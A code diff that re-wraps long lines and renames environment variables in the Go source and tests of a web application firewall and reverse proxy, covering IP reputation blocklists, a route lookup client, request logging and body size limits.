|
||||||
@@ -349,8 +396,11 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
|
|||||||
wantFetches(t, servers, 1)
|
wantFetches(t, servers, 1)
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
|
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
|
||||||
t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
|
t.Errorf(
|
||||||
waiting(queue))
|
"%d failures and alerts %+v, want none",
|
||||||
|
lists.Failures(dropURL),
|
||||||
|
waiting(queue),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted an hour later with what lists.json keeps, it fetches
|
// Restarted an hour later with what lists.json keeps, it fetches
|
||||||
@@ -382,7 +432,9 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
|
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -397,7 +449,13 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
|
|||||||
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
|
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
|
||||||
percent, listed := lists.ASNLimitPercent(asn)
|
percent, listed := lists.ASNLimitPercent(asn)
|
||||||
if !listed || percent != want {
|
if !listed || percent != want {
|
||||||
t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
|
t.Errorf(
|
||||||
|
"%s has %d (listed %t), want %d",
|
||||||
|
asn,
|
||||||
|
percent,
|
||||||
|
listed,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -416,7 +474,9 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
|
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -432,13 +492,18 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
|
|||||||
t.Fatalf("load: %v", err)
|
t.Fatalf("load: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
|
if got := lists.Snapshot(); !reflect.DeepEqual(
|
||||||
|
got,
|
||||||
|
[]reputation.List{kept},
|
||||||
|
) {
|
||||||
t.Errorf("copies %+v, want only %+v", got, kept)
|
t.Errorf("copies %+v, want only %+v", got, kept)
|
||||||
}
|
}
|
||||||
|
|
||||||
err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
|
err = lists.Load(
|
||||||
"; DROP", "203.0.113.300",
|
[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
|
||||||
}}})
|
"; DROP", "203.0.113.300",
|
||||||
|
}}},
|
||||||
|
)
|
||||||
|
|
||||||
const want = "the copy of " + dropURL +
|
const want = "the copy of " + dropURL +
|
||||||
": line 2 is not an address or a netblock, such as 192.0.2.0/24"
|
": line 2 is not an address or a netblock, such as 192.0.2.0/24"
|
||||||
@@ -446,7 +511,10 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
|
|||||||
t.Errorf("error %v, want %s", err, want)
|
t.Errorf("error %v, want %s", err, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
|
if got := lists.Snapshot(); !reflect.DeepEqual(
|
||||||
|
got,
|
||||||
|
[]reputation.List{kept},
|
||||||
|
) {
|
||||||
t.Errorf("copies %+v after the error, want %+v still", got, kept)
|
t.Errorf("copies %+v after the error, want %+v still", got, kept)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -580,7 +648,12 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantListedBy checks the URLs of the blocklists lists says list addr.
|
// wantListedBy checks the URLs of the blocklists lists says list addr.
|
||||||
func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
|
func wantListedBy(
|
||||||
|
t *testing.T,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
addr string,
|
||||||
|
want ...string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := lists.ListedBy(netip.MustParseAddr(addr))
|
got := lists.ListedBy(netip.MustParseAddr(addr))
|
||||||
@@ -611,8 +684,13 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := waiting(queue)
|
got := waiting(queue)
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
|
if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
|
||||||
t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
|
queue.Suppressed() != 1 {
|
||||||
queue.Suppressed(), want)
|
t.Errorf(
|
||||||
|
"alerts waiting %+v, %d held back, want only %+v and 1",
|
||||||
|
got,
|
||||||
|
queue.Suppressed(),
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -44,17 +44,17 @@ const (
|
|||||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||||
|
|
||||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||||
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD.
|
||||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||||
|
|
||||||
// ActionClientDenied is a request refused because its client is in
|
// ActionClientDenied is a request refused because its client is in
|
||||||
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny,
|
||||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||||
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
|
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY.
|
||||||
ActionClientDenied = "client_denied"
|
ActionClientDenied = "client_denied"
|
||||||
|
|
||||||
// ActionCountryDenied is a request refused because its client's country
|
// ActionCountryDenied is a request refused because its client's country
|
||||||
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||||
ActionCountryDenied = "country_denied"
|
ActionCountryDenied = "country_denied"
|
||||||
// ActionOwnEndpoint is a request waf answered at one of its own
|
// ActionOwnEndpoint is a request waf answered at one of its own
|
||||||
// endpoints, or a question about a path under /_sww/.
|
// endpoints, or a question about a path under /_sww/.
|
||||||
@@ -126,7 +126,7 @@ type Line struct {
|
|||||||
ContentType string `json:"content_type,omitempty"`
|
ContentType string `json:"content_type,omitempty"`
|
||||||
// ContentLength is the length of its body the request announced.
|
// ContentLength is the length of its body the request announced.
|
||||||
ContentLength int64 `json:"content_length,omitempty"`
|
ContentLength int64 `json:"content_length,omitempty"`
|
||||||
// RequestHeaders are the headers SWW_WAF_LOG_REQUEST_HEADERS names that
|
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that
|
||||||
// the request carried, by name in lower case.
|
// the request carried, by name in lower case.
|
||||||
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
||||||
HasAuthorization bool `json:"has_authorization,omitempty"`
|
HasAuthorization bool `json:"has_authorization,omitempty"`
|
||||||
@@ -189,7 +189,7 @@ type Line struct {
|
|||||||
Reputation []string `json:"reputation,omitempty"`
|
Reputation []string `json:"reputation,omitempty"`
|
||||||
// Tags are the request's tags, sorted.
|
// Tags are the request's tags, sorted.
|
||||||
Tags []string `json:"tags,omitempty"`
|
Tags []string `json:"tags,omitempty"`
|
||||||
// RouteWatchTagsMissing, while SWW_WAF_ROUTEWATCH_URL is set, says why the
|
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the
|
||||||
// request got no tags from routewatch: no_answer_yet, request_failed or
|
// request got no tags from routewatch: no_answer_yet, request_failed or
|
||||||
// no_route.
|
// no_route.
|
||||||
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
||||||
@@ -233,7 +233,7 @@ type RProxyLine struct {
|
|||||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||||
// Disposition is the valid disposition waf answered or, while
|
// Disposition is the valid disposition waf answered or, while
|
||||||
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
|
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
||||||
// when neither gave one.
|
// when neither gave one.
|
||||||
Disposition string `json:"disposition,omitempty"`
|
Disposition string `json:"disposition,omitempty"`
|
||||||
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
||||||
@@ -291,8 +291,8 @@ func Milliseconds(d time.Duration) float64 {
|
|||||||
|
|
||||||
// NewProcessLogger returns the logger for the process's own messages:
|
// NewProcessLogger returns the logger for the process's own messages:
|
||||||
// JSON lines on w, marked "type":"process", with the time in the same form
|
// JSON lines on w, marked "type":"process", with the time in the same form
|
||||||
// as a request line's, and instanceName, SWW_WAF_INSTANCE_NAME, as instance.
|
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance.
|
||||||
// It writes only the messages at level, SWW_WAF_LOG_LEVEL, or more severe;
|
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe;
|
||||||
// the request lines Write writes are never held back.
|
// the request lines Write writes are never held back.
|
||||||
func NewProcessLogger(
|
func NewProcessLogger(
|
||||||
w io.Writer,
|
w io.Writer,
|
||||||
|
|||||||
@@ -18,7 +18,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
|||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
err := requestlog.Write(&out, &requestlog.Line{
|
err := requestlog.Write(&out, &requestlog.Line{
|
||||||
Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
|
Time: requestlog.FormatTime(
|
||||||
|
time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
|
||||||
|
),
|
||||||
ClientIP: "203.0.113.9",
|
ClientIP: "203.0.113.9",
|
||||||
Status: 200,
|
Status: 200,
|
||||||
Action: requestlog.ActionForward,
|
Action: requestlog.ActionForward,
|
||||||
@@ -80,7 +82,10 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
|
|||||||
t.Fatalf("write: %v", err)
|
t.Fatalf("write: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
|
err = requestlog.WriteRProxyLine(
|
||||||
|
&out,
|
||||||
|
&requestlog.RProxyLine{Query: "a=1&b=<2>"},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write the rproxy line: %v", err)
|
t.Fatalf("write the rproxy line: %v", err)
|
||||||
}
|
}
|
||||||
@@ -100,7 +105,10 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
|
if !strings.Contains(
|
||||||
|
lines[0],
|
||||||
|
`"referer":"https://example.com/?x=1&y=<2>"`,
|
||||||
|
) {
|
||||||
t.Errorf("%s does not hold the referer as sent", lines[0])
|
t.Errorf("%s does not hold the referer as sent", lines[0])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -132,8 +140,9 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
|
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
|
||||||
"version", "v1")
|
Info("starting",
|
||||||
|
"version", "v1")
|
||||||
|
|
||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
|
|
||||||
@@ -142,8 +151,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
t.Fatalf("decode %q: %v", out.String(), err)
|
t.Fatalf("decode %q: %v", out.String(), err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
|
if fields["type"] != "process" ||
|
||||||
fields["msg"] != "starting" || fields["level"] != "INFO" ||
|
fields["instance"] != "fsn1app1/blog" ||
|
||||||
|
fields["msg"] != "starting" ||
|
||||||
|
fields["level"] != "INFO" ||
|
||||||
fields["version"] != "v1" {
|
fields["version"] != "v1" {
|
||||||
t.Errorf("process line %v", fields)
|
t.Errorf("process line %v", fields)
|
||||||
}
|
}
|
||||||
@@ -154,7 +165,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
if err != nil || !strings.HasSuffix(timeText, "Z") ||
|
if err != nil || !strings.HasSuffix(timeText, "Z") ||
|
||||||
len(timeText) != len("2006-01-02T15:04:05.000Z") ||
|
len(timeText) != len("2006-01-02T15:04:05.000Z") ||
|
||||||
time.Since(logged) > time.Minute {
|
time.Since(logged) > time.Minute {
|
||||||
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
|
t.Errorf(
|
||||||
|
"process line time %q, want now in UTC with milliseconds",
|
||||||
|
timeText,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -171,7 +185,11 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
|
processLog := requestlog.NewProcessLogger(
|
||||||
|
&out,
|
||||||
|
"fsn1app1/blog",
|
||||||
|
level,
|
||||||
|
)
|
||||||
for _, at := range levels {
|
for _, at := range levels {
|
||||||
processLog.Log(t.Context(), at, "message")
|
processLog.Log(t.Context(), at, "message")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ type Answer struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is where routewatch is (SWW_WAF_ROUTEWATCH_URL).
|
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
||||||
URL string
|
URL string
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -206,7 +206,11 @@ func (c *Client) Load(answers []Answer) {
|
|||||||
// query as no longer under way. A query that fails gives no answer, and
|
// query as no longer under way. A query that fails gives no answer, and
|
||||||
// routewatch is not asked again for failureKept. Only the first failure of
|
// routewatch is not asked again for failureKept. Only the first failure of
|
||||||
// those under way is logged.
|
// those under way is logged.
|
||||||
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
func (c *Client) ask(
|
||||||
|
ctx context.Context,
|
||||||
|
client netip.Prefix,
|
||||||
|
addr netip.Addr,
|
||||||
|
) {
|
||||||
route, err := c.query(ctx, addr)
|
route, err := c.query(ctx, addr)
|
||||||
now := c.params.Now()
|
now := c.params.Now()
|
||||||
|
|
||||||
@@ -227,7 +231,11 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
|
|||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
if firstFailure {
|
if firstFailure {
|
||||||
c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
|
c.params.ProcessLog.Warn(
|
||||||
|
"asking routewatch failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -243,7 +251,12 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
|||||||
return Route{}, fmt.Errorf("make the URL: %w", err)
|
return Route{}, fmt.Errorf("make the URL: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
endpoint,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("make the request: %w", err)
|
return Route{}, fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -131,7 +131,9 @@ func TestMain(m *testing.M) {
|
|||||||
type silentRoutewatch struct{}
|
type silentRoutewatch struct{}
|
||||||
|
|
||||||
// RoundTrip waits until req is abandoned.
|
// RoundTrip waits until req is abandoned.
|
||||||
func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) {
|
func (silentRoutewatch) RoundTrip(
|
||||||
|
req *http.Request,
|
||||||
|
) (*http.Response, error) {
|
||||||
<-req.Context().Done()
|
<-req.Context().Done()
|
||||||
|
|
||||||
return nil, req.Context().Err()
|
return nil, req.Context().Err()
|
||||||
@@ -191,12 +193,19 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
|
|||||||
f := newFixture(t, answering(routedAnswer))
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
|
||||||
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
||||||
t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
|
t.Errorf(
|
||||||
|
"before the answer: %q, want %q",
|
||||||
|
missing,
|
||||||
|
routewatch.NoAnswerYet,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
route := f.waitFor("")
|
route := f.waitFor("")
|
||||||
|
|
||||||
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
want := routewatch.Route{
|
||||||
|
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
||||||
|
ASN: 64496,
|
||||||
|
}
|
||||||
if route != want {
|
if route != want {
|
||||||
t.Errorf("route %+v, want %+v", route, want)
|
t.Errorf("route %+v, want %+v", route, want)
|
||||||
}
|
}
|
||||||
@@ -219,7 +228,10 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
|
|||||||
|
|
||||||
route := f.waitFor("")
|
route := f.waitFor("")
|
||||||
|
|
||||||
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
want := routewatch.Route{
|
||||||
|
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
||||||
|
ASN: 64496,
|
||||||
|
}
|
||||||
if route != want {
|
if route != want {
|
||||||
t.Errorf("route %+v, want %+v", route, want)
|
t.Errorf("route %+v, want %+v", route, want)
|
||||||
}
|
}
|
||||||
@@ -248,7 +260,8 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
|||||||
"not JSON": answering("no"),
|
"not JSON": answering("no"),
|
||||||
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
|
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
|
||||||
"bad netblock": answering(
|
"bad netblock": answering(
|
||||||
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
|
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
|
||||||
|
),
|
||||||
}
|
}
|
||||||
for name, standIn := range tests {
|
for name, standIn := range tests {
|
||||||
t.Run(name, func(t *testing.T) {
|
t.Run(name, func(t *testing.T) {
|
||||||
@@ -263,7 +276,9 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
|
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
f := newFixture(t, answering(routedAnswer))
|
||||||
@@ -280,7 +295,9 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T)
|
|||||||
f.wantFailureLoggedWithoutTheClient()
|
f.wantFailureLoggedWithoutTheClient()
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
@@ -301,7 +318,10 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
|||||||
deadline := time.Now().Add(waitLimit)
|
deadline := time.Now().Add(waitLimit)
|
||||||
for f.queries.Load() != 2 {
|
for f.queries.Load() != 2 {
|
||||||
if time.Now().After(deadline) {
|
if time.Now().After(deadline) {
|
||||||
t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
|
t.Fatalf(
|
||||||
|
"%d queries after the failure expired, want 2",
|
||||||
|
f.queries.Load(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Millisecond)
|
time.Sleep(time.Millisecond)
|
||||||
@@ -326,9 +346,14 @@ func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
|||||||
began := time.Now()
|
began := time.Now()
|
||||||
_, missing := f.route()
|
_, missing := f.route()
|
||||||
|
|
||||||
if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 {
|
if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
|
||||||
t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once",
|
waited != 0 {
|
||||||
missing, waited, routewatch.NoAnswerYet)
|
t.Errorf(
|
||||||
|
"Route gave %q after %s while routewatch hangs, want %q at once",
|
||||||
|
missing,
|
||||||
|
waited,
|
||||||
|
routewatch.NoAnswerYet,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
f.waitFor(routewatch.RequestFailed)
|
f.waitFor(routewatch.RequestFailed)
|
||||||
@@ -412,8 +437,14 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
|
|||||||
|
|
||||||
f.client.Load([]routewatch.Answer{kept, stale})
|
f.client.Load([]routewatch.Answer{kept, stale})
|
||||||
|
|
||||||
if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) {
|
if got := f.client.Snapshot(); !slices.Equal(
|
||||||
t.Errorf("kept %+v, want only the answer that came less than an hour ago", got)
|
got,
|
||||||
|
[]routewatch.Answer{kept},
|
||||||
|
) {
|
||||||
|
t.Errorf(
|
||||||
|
"kept %+v, want only the answer that came less than an hour ago",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
route, missing := f.route()
|
route, missing := f.route()
|
||||||
@@ -424,7 +455,10 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got := f.queries.Load(); got != 0 {
|
if got := f.queries.Load(); got != 0 {
|
||||||
t.Errorf("%d queries for a client with an answer loaded, want none", got)
|
t.Errorf(
|
||||||
|
"%d queries for a client with an answer loaded, want none",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -458,7 +492,12 @@ func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
|
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
|
||||||
t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client,
|
t.Errorf(
|
||||||
got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client)
|
"answers kept from %s to %s, want from %s to %s",
|
||||||
|
got[0].Client,
|
||||||
|
got[maxAnswers-1].Client,
|
||||||
|
answers[0].Client,
|
||||||
|
answers[maxAnswers-1].Client,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -11,16 +11,16 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// errResponseTooLarge ends an app's response body that is longer than
|
// errResponseTooLarge ends an app's response body that is longer than
|
||||||
// SWW_RPROXY_MAX_RESPONSE_SIZE.
|
// SWRP_MAX_RESPONSE_SIZE.
|
||||||
var errResponseTooLarge = errors.New(
|
var errResponseTooLarge = errors.New(
|
||||||
"the response body is over SWW_RPROXY_MAX_RESPONSE_SIZE")
|
"the response body is over SWRP_MAX_RESPONSE_SIZE")
|
||||||
|
|
||||||
// requestBody is the visitor's request body. rproxy first reads up to the first
|
// requestBody is the visitor's request body. rproxy first reads up to the first
|
||||||
// 64 KiB of it into held, and then, on its way to the app, the transport reads
|
// 64 KiB of it into held, and then, on its way to the app, the transport reads
|
||||||
// it on a goroutine of its own.
|
// it on a goroutine of its own.
|
||||||
type requestBody struct {
|
type requestBody struct {
|
||||||
// body is the visitor's body, ending in an *http.MaxBytesError past
|
// body is the visitor's body, ending in an *http.MaxBytesError past
|
||||||
// SWW_RPROXY_MAX_REQUEST_SIZE.
|
// SWRP_MAX_REQUEST_SIZE.
|
||||||
body io.ReadCloser
|
body io.ReadCloser
|
||||||
rq *request
|
rq *request
|
||||||
// held is the part read before the request goes to the app, which Read gives
|
// held is the part read before the request goes to the app, which Read gives
|
||||||
@@ -84,7 +84,7 @@ func (b *requestBody) Close() error {
|
|||||||
// responseBody is the app's response body on its way to the visitor.
|
// responseBody is the app's response body on its way to the visitor.
|
||||||
type responseBody struct {
|
type responseBody struct {
|
||||||
// body is the app's body, ending in an *http.MaxBytesError past
|
// body is the app's body, ending in an *http.MaxBytesError past
|
||||||
// SWW_RPROXY_MAX_RESPONSE_SIZE.
|
// SWRP_MAX_RESPONSE_SIZE.
|
||||||
body io.ReadCloser
|
body io.ReadCloser
|
||||||
rq *request
|
rq *request
|
||||||
}
|
}
|
||||||
@@ -203,7 +203,8 @@ func (w *responseWriter) Write(p []byte) (int, error) {
|
|||||||
w.status = http.StatusOK
|
w.status = http.StatusOK
|
||||||
}
|
}
|
||||||
|
|
||||||
n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
|
//nolint:gosec // the answer, as it was given
|
||||||
|
n, err := w.ResponseWriter.Write(p)
|
||||||
w.bytes += int64(n)
|
w.bytes += int64(n)
|
||||||
|
|
||||||
return n, err
|
return n, err
|
||||||
@@ -218,7 +219,8 @@ func (w *responseWriter) FlushError() error {
|
|||||||
// Hijack takes over the connection to the visitor, which ReverseProxy does only
|
// Hijack takes over the connection to the visitor, which ReverseProxy does only
|
||||||
// to pass on the app's 101 Switching Protocols: that is then the status sent.
|
// to pass on the app's 101 Switching Protocols: that is then the status sent.
|
||||||
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
||||||
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
|
conn, buffered, err := http.NewResponseController(w.ResponseWriter).
|
||||||
|
Hijack()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
